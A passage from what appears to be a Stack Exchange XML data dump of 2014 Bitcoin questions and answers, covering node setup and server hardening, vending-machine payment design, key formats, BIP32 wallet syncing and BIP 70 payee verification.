mean?" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30263" PostTypeId="2" ParentId="30258" CreationDate="2014-08-29T11:29:10.827" Score="2" Body="&lt;p&gt;The Bitcoin Core client stores private keys typically  in DER encoded format, at 279 bytes per key, for compatibility with older versions. There is no good reason for that though. For encrypted wallets, which are more modern, keys are stored using just the (encrypted) 32 byte secret plus the full public key. Compression is derived from the length of the corresponding public key, so it doesn't need to be stored separately.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-08-29T11:29:10.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30264" PostTypeId="1" CreationDate="2014-08-29T11:35:36.743" Score="3" ViewCount="2696" Body="&lt;p&gt;simple question. I would like to run several full nodes for Bitcoin, Litecoin, Darkcoin and so on, but don't they run on the same port (8333)? Will this just work or do I need to give them several different ports?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="19166" LastActivityDate="2015-11-03T09:48:41.477" Title="Running Multiple Full Nodes on one Host" Tags="|bitcoind|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30265" PostTypeId="2" ParentId="30264" CreationDate="2014-08-29T11:45:30.227" Score="4" Body="&lt;p&gt;You need to give them different ports. Refer to &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin&lt;/a&gt; on how to listen on different ports.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-08-29T11:45:30.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30266" PostTypeId="1" AcceptedAnswerId="30274" CreationDate="2014-08-29T12:00:03.013" Score="3" ViewCount="210" Body="&lt;p&gt;If I wanted to build a vending machine where one could buy a cola paying with bitcoin, is the following scenario the typical way to do it?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Customer approaches the machine, and selects the product (whatever the method - button by the product image, or typing a corresponding numeric ID on a keypad)&lt;/li&gt;&#xA;&lt;li&gt;Machine generates bitcoin address for this transaction and displays on a screen the address' QR code and alphanumeric representation, and the amount to be paid in bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;Customer uses their smartphone (or whatever device with bitcoin client) to scan the code, enters the amount and submits the transaction.&lt;/li&gt;&#xA;&lt;li&gt;Vending machine waits for the expected amount to arrive in the account and&#xA;&lt;ul&gt;&#xA;&lt;li&gt;delivers the product if the amount is what was expected&lt;/li&gt;&#xA;&lt;li&gt;sends the money back if the amount is not what was expected&lt;/li&gt;&#xA;&lt;li&gt;timeouts if nothing arrives within 2 minutes&lt;/li&gt;&#xA;&lt;li&gt;sends the money back if there were technical issues in delivering the product&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;To avoid necessity to store the private keys for every successful transaction, the vending machine sends the just collected amount to aggregation address and forgets the temporary address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="19167" LastActivityDate="2014-08-29T18:38:23.170" Title="Bitcoin vending machine" Tags="|retail|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30267" PostTypeId="1" CreationDate="2014-08-29T14:01:24.487" Score="3" ViewCount="1690" Body="&lt;p&gt;I regard myself as being a competent programmer and have good general IT knowledge; however I know very little about BTC. I just want to make sure that my setup is &quot;generally secure&quot; and that I'm grasping as much of the low hanging fruit as possible (from a security point of view).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I installed bitcoin-cli on my Ubuntu 14.04 VPS (I am &lt;em&gt;quite&lt;/em&gt; trustworthy of the company who provide the VPS):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:bitcoin/bitcoin&#xA;sudo apt-get update&#xA;sudo apt-get install bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my init script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;description &quot;bitcoind&quot;&#xA;&#xA;start on filesystem&#xA;stop on runlevel [!2345]&#xA;oom never&#xA;expect daemon&#xA;respawn&#xA;respawn limit 10 60 # 10 times in 60 seconds&#xA;&#xA;script&#xA;exec 2&amp;gt;&amp;gt;/var/log/bitcoind.log&#xA;set -x&#xA;user=eamorr&#xA;home=/home/$user&#xA;cmd=/usr/bin/bitcoind&#xA;pidfile=$home/.bitcoin/bitcoind.pid&#xA;# Don't change anything below here unless you know what you're doing&#xA;[[ -e $pidfile &amp;amp;&amp;amp; ! -d &quot;/proc/$(cat $pidfile)&quot; ]] &amp;amp;&amp;amp; rm $pidfile&#xA;[[ -e $pidfile &amp;amp;&amp;amp; &quot;$(cat /proc/$(cat $pidfile)/cmdline)&quot; != $cmd* ]] &amp;amp;&amp;amp; rm $pidfile&#xA;exec start-stop-daemon --start -c $user --chdir $home --pidfile $pidfile --startas $cmd -b -m&#xA;end script&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Saved init script to /etc/init/bitcoind.conf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;service bitcoind start&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* Now what? *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Bearing in mind that I don't want to use a third party website)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to open port 8333 on my firewall? Is that ok?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some &quot;private key&quot; I should store somewhere safe? Do I need to store this on my VPS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I should do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to buy €50 of BTC. I guess I need an address. How do I create an address? I will tell the folks at bittylicious.com to send €50 worth of BTC to my newly created address, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, how do I create multiple BTC addresses, receive money at those and transfer into my &quot;master&quot; BTC address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some command outputs for your information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; bitcoin-cli getnetworkinfo &#xA;{&#xA;    &quot;version&quot; : 90201,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;timeoffset&quot; : 0,&#xA;    &quot;connections&quot; : 8,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;relayfee&quot; : 0.00001000,&#xA;    &quot;localaddresses&quot; : [&#xA;        {&#xA;            &quot;address&quot; : &quot;xxxxxxxxxxxxxxx - IPv4 address&quot;,&#xA;            &quot;port&quot; : 8333,&#xA;            &quot;score&quot; : 9&#xA;        },&#xA;        {&#xA;            &quot;address&quot; : &quot;xxxxxxxxxxxxxxx - IPv6 address&quot;,&#xA;            &quot;port&quot; : 8333,&#xA;            &quot;score&quot; : 1&#xA;        }&#xA;    ]&#xA;}&#xA;&#xA;&#xA;&#xA;&amp;gt;&amp;gt; bitcoin-cli getinfo&#xA;{&#xA;    &quot;version&quot; : 90201,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 172082,&#xA;    &quot;timeoffset&quot; : 0,&#xA;    &quot;connections&quot; : 10,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 1498294.36281651,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1409306527,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00001000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&#xA;&#xA;&#xA;&amp;gt;&amp;gt; bitcoin-cli listaccounts &#xA;{&#xA;    &quot;&quot; : 0.00000000&#xA;}&#xA;&#xA;&#xA;&#xA;&amp;gt;&amp;gt; bitcoin-cli listreceivedbyaddress &#xA;[&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help guys,&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an init script for Debian (works on my Ubuntu 14.04) in the offical repo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/contrib/init/bitcoind.conf&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/contrib/init/bitcoind.conf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, all you have to do to get bitcoin up and running headless (from a fresh install) is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-add-repository ppa:bitcoin/bitcoin&#xA;sudo apt-get update&#xA;sudo apt-get install bitcoind&#xA;sudo curl https://github.com/bitcoin/bitcoin/blob/master/contrib/init/bitcoind.conf &amp;gt; /etc/init/bitcoind.conf&#xA;sudo vim /etc/init/bitcoin.conf&#xA;#Delete the line &quot;disablewallet&quot; (part of &quot;exec start-stop-daemon&quot; command) - don't delete if you don't want a wallet&#xA;adduser bitcoin&#xA;sudo mkdir /var/run/bitcoind&#xA;sudo chown bitcoin:bitcoin /var/run/bitcoind&#xA;sudo mkdir /var/lib/bitcoind&#xA;sudo chown bitcoin:bitcoin /var/lib/bitcoind&#xA;sudo mkdir /etc/bitcoin&#xA;sudo touch /etc/bitcoin/bitcoin.conf   #put your config in here: rpcuser, rpcpassword, etc.&#xA;sudo apt-get install ufw&#xA;sudo ufw allow 22&#xA;sudo ufw enable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This installation is maintainable and gives a &quot;good&quot; level of security.&lt;/p&gt;&#xA;" OwnerUserId="19169" LastEditorUserId="19169" LastEditDate="2014-12-26T15:44:24.347" LastActivityDate="2014-12-26T15:44:24.347" Title="New to Bitcoin - tips on securing my server" Tags="|security|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30268" PostTypeId="2" ParentId="30266" CreationDate="2014-08-29T14:36:48.930" Score="2" Body="&lt;p&gt;That sounds reasonable. I would add that since you'll most likely want to accept unconfirmed transactions, it would be also good practice to check with a list of trusted nodes (such as large mining pools) if they received the transaction. This doesn't entirely remove the risk of a double-spend, but it mitigates it.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-08-29T14:36:48.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30269" PostTypeId="2" ParentId="30262" CreationDate="2014-08-29T14:43:20.463" Score="5" Body="&lt;p&gt;When Bitcoin detects that there is something seriously wrong with the network it gets into &lt;code&gt;safe mode&lt;/code&gt;, disabling the majority of the methods exposed via its &lt;code&gt;RPC API&lt;/code&gt; (only the &lt;code&gt;okSafeMode&lt;/code&gt; methods will still work). It does that by filling up the &lt;code&gt;error&lt;/code&gt; JSON node with an &lt;code&gt;error code&lt;/code&gt; and the the generic &lt;code&gt;error message&lt;/code&gt; you received so that the response will not be parseable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/54Npn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reasons that push it into safe mode can be a large valid/invalid fork, an invalid longest chain, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding these lines to your &lt;code&gt;bitcoin.conf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;checkblocks=10&#xA;checklevel=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then restart &lt;code&gt;bitcoind&lt;/code&gt; as well as your app and see if the issue is resolved. If not, try reindexing the blocks on your disk (via the &lt;code&gt;-reindex&lt;/code&gt; param).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, consider using the &lt;code&gt;-alertnotify&lt;/code&gt; hook to get custom notifications and/or to shut down your bitcoin apps every time this happens.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-08-29T14:43:20.463" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30270" PostTypeId="2" ParentId="30266" CreationDate="2014-08-29T14:51:14.343" Score="1" Body="&lt;p&gt;As a precaution, I think you should never dispose the temporary addresses. Maybe keep them in a database, because you never know when someone may accidentally send bitcoins to the same address again.&lt;/p&gt;&#xA;" OwnerUserId="3919" LastActivityDate="2014-08-29T14:51:14.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30271" PostTypeId="2" ParentId="20298" CreationDate="2014-08-29T15:24:36.033" Score="1" Body="&lt;p&gt;This was not a case of BitcoinLib malfunctioning in any way. It was simply a case of using wrong privkeys to sign the unspent outputs. &lt;/p&gt;&#xA;" OwnerUserId="11555" LastActivityDate="2014-08-29T15:24:36.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30272" PostTypeId="2" ParentId="30251" CreationDate="2014-08-29T17:26:02.910" Score="4" Body="&lt;p&gt;No, that's not correct at all. If someone knew that your private key contained 96 zero bits, their search space would be drastically reduced. 256-bit private keys are used because they are the minimum considered sufficient to provide the level of ECDSA security required. 160-bits can be used in the hash function because hash functions get more security per bit than ECDSA does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could, however, use 160-bits as a seed to generate a 256-bit ECDSA private key. For example, you could use a SHA-256 hash of a 160-bit seed as your private key with no loss of security. You can even go down to 128-bits with no significant loss of security.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-08-29T19:35:57.177" LastActivityDate="2014-08-29T19:35:57.177" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30273" PostTypeId="1" AcceptedAnswerId="37532" CreationDate="2014-08-29T17:43:10.433" Score="0" ViewCount="151" Body="&lt;p&gt;Where can i find a list of NXT IP nodes that I can connect to publicly? I want to be able to use them as a backup connection to the nxt blockchain if my own nxt server crashes. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-05-23T04:57:48.247" Title="How can I view all the NXT nodes that I can access publiclly?" Tags="|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30274" PostTypeId="2" ParentId="30266" CreationDate="2014-08-29T18:38:23.170" Score="4" Body="&lt;p&gt;This sounds good, in broad strokes.  There are a couple of things I would watch out for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Refunds can be tricky.  People who are using web wallets may not really have their own addresses; the wallet operator has a large pool of addresses and tracks customer balances internally.  When the customer wants to make a payment, the operator pays from one of the pool addresses and debits the customer's account.  So if you try to send a refund to such a customer, it goes back to the operator's address, but they may not have the ability / motivation to recredit the customer.  They might even throw away the private key once the coins are spent (and the change sent to a new pool address), in which case the refunded coins are lost forever.  Either way, the customer is bummed.  There is some further information at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21275/is-there-a-standard-procedure-for-refunding-bitcoin-transactions?rq=1&quot;&gt;Is there a standard procedure for refunding Bitcoin transactions?&lt;/a&gt;, and &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP 70&lt;/a&gt; is a proposed solution (where the customer provides a separate refund address explicitly), but since this involves some out-of-band messages over HTTPS, more infrastructure is needed on the server side.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may want to give up on delivering the product after 2 minutes, but you might not want to give up on the payment.  For example, if either your machine or the customer's mobile device has Internet connectivity problems, the payment might be created but not broadcast (or not received by you) until much later.  The customer is probably no longer there to get their can of Tab, but you might want to refund their money anyway.  So you should keep the private key around.  (Actually, there's really no good reason to discard them: if you send the money back to HQ, they normally contain no coins so it's not really a problem if they are stolen, but if somebody sends extra coins to them for some reason, you'd sure like to have them.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Similarly, if you do send a refund, you may want to make sure you spend the same transaction that came in.  This will protect you in case the customer tries to double-spend.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The payment amount can be embedded in the QR code.  This saves the customer a little typing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Quickly sending incoming payments off to HQ for safekeeping is a good idea, but will cost you a fee on each transaction.  You could batch them and send them off a couple times a day, or whenever they reach some threshold amount.  Alternatively, you could have a system where you generate a bunch of addresses at HQ, keep the private keys there (perhaps even offline), and just give the machine the addresses.  (&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP 32&lt;/a&gt; provides a fancier way to achieve that.)  The machine can still detect incoming payments, but if a refund is needed, it would have to send a request back to HQ.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-08-29T18:38:23.170" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30275" PostTypeId="2" ParentId="30267" CreationDate="2014-08-29T19:44:32.383" Score="3" Body="&lt;p&gt;First of all, I'd suggest to create a separate user account for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;adduser bitcoin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And use that account to run your bitcoind from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can open the port 8333 on your firewall if you want to provide a &quot;full-node&quot; to the network, but do not open the port 8332 (that's for RPC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better security though, I don't recommend using the same bitcoind instance for both wallet-storage and as a public node. If you can afford two machines, set up the wallet on one of them (this will be a &quot;private&quot; instance) and a &quot;border-router&quot; instance on another. Then make sure the private one only connects to the border-router (use &lt;code&gt;connect=&amp;lt;border_IP&amp;gt;&lt;/code&gt;) &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;configuration option&lt;/a&gt;. Then you can feel safe to enable port 8333 on the public border-router machine and as an optimization, you can disable the wallet on it (&lt;code&gt;-disablewallet&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have it all set up, you can proceed to creating an address. Run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin-cli getaccountaddress myaccount&lt;/code&gt; (use any account name you like)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; you can find a nice command reference.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-08-29T19:44:32.383" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="30276" PostTypeId="1" CreationDate="2014-08-29T19:55:53.277" Score="3" ViewCount="706" Body="&lt;p&gt;There was a paper somewhere proposing a scheme for filtering email spam with the use of Bitcoin micropayments. I can't remember where I saw it and can't find it now. Anybody knows about it?&lt;/p&gt;&#xA;" OwnerUserId="13530" LastEditorUserId="5757" LastEditDate="2014-08-30T03:27:20.213" LastActivityDate="2014-08-30T03:27:20.213" Title="Defeating email spam with Bitcoin" Tags="|academic-research|spam|micropayments|email|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30277" PostTypeId="2" ParentId="30276" CreationDate="2014-08-29T20:17:07.293" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Hashcash&quot; rel=&quot;nofollow&quot;&gt;Hashcash&lt;/a&gt; is one of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Anti-spam_techniques&quot; rel=&quot;nofollow&quot;&gt;many anti-spam techniques&lt;/a&gt; used today, which is essentially a proof-of-work system designed to limit not only email spam but also denial-of-service attacks. A similar &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;nofollow&quot;&gt;proof-of-work&lt;/a&gt; methodology is being used in bitcoin for block generation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an average of 150 billion e-mails sent out on a daily basis I cannot see how this could be deployed in the blockchain, which would then have to be adjusted to facilitate 1,7 million TPS while now it only serves 7 TPS (artificial limit). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, bitcoin is not really made for such small payments which would result in tons of useless and unspendable dust outputs.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2014-08-29T20:51:26.910" LastActivityDate="2014-08-29T20:51:26.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30279" PostTypeId="5" CreationDate="2014-08-29T20:38:44.713" Score="0" Body="&lt;p&gt;Nxt is a cryptocurrency like many others but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's open source and it was written in Java.&lt;/li&gt;&#xA;&lt;li&gt;It was not derived directly from Bitcoin source code.&lt;/li&gt;&#xA;&lt;li&gt;It provides built-in support for features such as a decentralized peer-to-peer exchange, voting system, messaging/chat, decentralized DNS, and options for instant transactions.&lt;/li&gt;&#xA;&lt;li&gt;It is 100% proof of stake (PoS), versus the proof of work (PoW) mechanism the vast majority of other coins are based on.  Instead of using powerful computers to &quot;mine&quot; new coins, Nxt leverages the balances of existing accounts to &quot;forge&quot; blocks, rewarding forgers with transaction fees. The Proof-of-Stake algorithm is efficient enough to run on smartphones and small devices like the Raspberry Pi platform.&lt;/li&gt;&#xA;&lt;li&gt;1 billion Nxt coins was distributed to 73 original stakeholders that invested 21 BTC in total.&lt;/li&gt;&#xA;&lt;li&gt;Nxt is implementing a very slick feature called &quot;Transparent Forging&quot;, which will allow each user's client to automatically determine which server node will generate the next block. This allows clients to send their transactions directly to that node, minimizing transaction times. Immediate and high-priority transactions can be processed for additional fees.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="1761" LastEditDate="2014-09-01T16:24:39.323" LastActivityDate="2014-09-01T16:24:39.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30280" PostTypeId="4" CreationDate="2014-08-29T20:38:44.713" Score="0" Body="Questions about NXT are off topic.&#xD;&#xA;&#xD;&#xA;Nxt is an electronic cash like Bitcoin but PoS based and written from scratch in Java." OwnerUserId="1761" LastEditorUserId="48884" LastEditDate="2019-07-17T20:59:49.357" LastActivityDate="2019-07-17T20:59:49.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30283" PostTypeId="1" CreationDate="2014-08-29T22:08:49.713" Score="1" ViewCount="255" Body="&lt;p&gt;The ScriptPubKey contains the hash of the public key, and this is compared to the public key in the ScriptSig. It is not possible to derive the public key from the hash (address). But when the output is spent, the public key is visible to the world. This isn't a problem though, and the same public key (address/private key) can be used multiple times. So why have the hash step? Why not just have the public key in the ScriptPubKey as well, without the &lt;code&gt;OP_HASH160&lt;/code&gt; step? The hash doesn't add any security (afaict), since an address can be reused multiple times without loss of security (only privacy). &lt;/p&gt;&#xA;" OwnerUserId="3293" LastActivityDate="2014-08-29T23:01:53.253" Title="Why does the script contain the hash of the public key" Tags="|protocol|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30284" PostTypeId="2" ParentId="30283" CreationDate="2014-08-29T23:01:53.253" Score="2" Body="&lt;p&gt;A major pro other than shorter addresses is that breaking into your private key takes one more step (hash -&gt; public key -&gt; private key). Plus, if ECDSA gets cracked someday and you follow the one-address-per-transaction best practice, transactions with P2PKH scripts will only unveil public keys when the amount they &quot;hold&quot; is going to be spent, so anyone attempting to hack your private keys from public keys would end up with empty addresses.&lt;/p&gt;&#xA;" OwnerUserId="17067" LastActivityDate="2014-08-29T23:01:53.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30285" PostTypeId="1" CreationDate="2014-08-30T00:13:00.703" Score="5" ViewCount="904" Body="&lt;p&gt;I'm working on &lt;a href=&quot;https://github.com/keeshux/WaSPV&quot; rel=&quot;noreferrer&quot;&gt;my SPV library&lt;/a&gt; and I still have a hard time figuring how to approach the BIP32 + Bloom filters combination. Here's how I currently sync an existing HD wallet (after fast catch-up):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate a number of watched look-ahead addresses (say 10).&lt;/li&gt;&#xA;&lt;li&gt;Load a Bloom filter with all used addresses plus look-ahead (N used + 10 look-ahead).&lt;/li&gt;&#xA;&lt;li&gt;Download filtered blocks with &lt;code&gt;getdata&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Mark watched addresses as used if they're found in any block transaction.&lt;/li&gt;&#xA;&lt;li&gt;Ensure that the last watched address wasn't used in a transaction.&lt;/li&gt;&#xA;&lt;li&gt;If so, generate new look-ahead addresses, reload the Bloom filter and download last block again to rematch it. By using a new receive address for each transaction we may have missed other transactions in the same block.&lt;/li&gt;&#xA;&lt;li&gt;Otherwise, go back to 4 and download new blocks.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now this sounds quirky and overcomplicated to me. Several discussions on the web talk about &quot;scanning keys&quot; when coming to wallet sync and I don't really understand if they assume a full node or a lightweight SPV node, because I have no idea of how to &quot;scan keys&quot; without a global UTXO database. Also the gap limit only seems to make sense for a full node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stuck, thanks.&lt;/p&gt;&#xA;" OwnerUserId="17067" LastEditorUserId="17067" LastEditDate="2014-08-30T13:23:07.787" LastActivityDate="2015-06-05T16:06:24.497" Title="BIP32 wallet sync with Bloom filters" Tags="|synchronization|bip32-hd-wallets|spv|utxo|bip37-bloom-filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30288" PostTypeId="2" ParentId="29586" CreationDate="2014-08-30T08:30:44.940" Score="1" Body="&lt;p&gt;I don't know if you are a developer, because you could dump the private keys with very little effort. The app relies on bitcoinj and the protobuf format you mention is bitcoinj serialization format for the wallet. Export the wallet file to your desktop and write a simple Java app that uses bitcoinj to access the wallet, then use the &lt;code&gt;DumpedKey&lt;/code&gt; class to output the private keys in the widely used WIF encoding.&lt;/p&gt;&#xA;" OwnerUserId="17067" LastActivityDate="2014-08-30T08:30:44.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30290" PostTypeId="1" AcceptedAnswerId="30291" CreationDate="2014-08-30T13:24:26.010" Score="0" ViewCount="424" Body="&lt;p&gt;When reading the Bitcoin paper by Satoshi, I noticed that he didn't mention any protocol by which the payer can verify the payee's identity, i.e. he is indeed paying the intended recipient. I would be much obliged if somebody can give me an idea on how does it work in real-life transactions or point me towards some definitive article. Since as far as I know, bitcoin doesn't use any central trusted party, so basic digital signature can be vulnerable to MITM attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="19182" LastActivityDate="2014-08-30T13:35:59.520" Title="Payee identity verification" Tags="|verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30291" PostTypeId="2" ParentId="30290" CreationDate="2014-08-30T13:35:52.070" Score="1" Body="&lt;p&gt;BIP 70 addresses the issue in merchant/customer use cases:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to individuals I guess there's still room for improvement. Meanwhile check out the following website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://onename.io&quot; rel=&quot;nofollow&quot;&gt;http://onename.io&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that by using a single address anonymity is basically thrown away (e.g. everybody can see your balance).&lt;/p&gt;&#xA;" OwnerUserId="17067" LastActivityDate="2014-08-30T13:35:52.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30292" PostTypeId="2" ParentId="30290" CreationDate="2014-08-30T13:35:59.520" Score="0" Body="&lt;p&gt;Bitcoin transactions don't have a &lt;code&gt;sender&lt;/code&gt; identifier, instead all one can find is an address owned by someone who previously controlled the transaction's (spent) outputs, which might not actually be the sender (e.g. for e-wallets) in any case, so both parties (sender/recipient) are protected by the protocol's pseudonymity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a real-world case, the payment sender (eg buyer) requests to buy a product. The payment receiver (merchant) processes the request and issues a new, unique receiving address in his bitcoin terminal which he then shares with the buyer. The order is then completed when the buyer sends the requested amount (product price, fees) to the specified address and the payment gets confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; 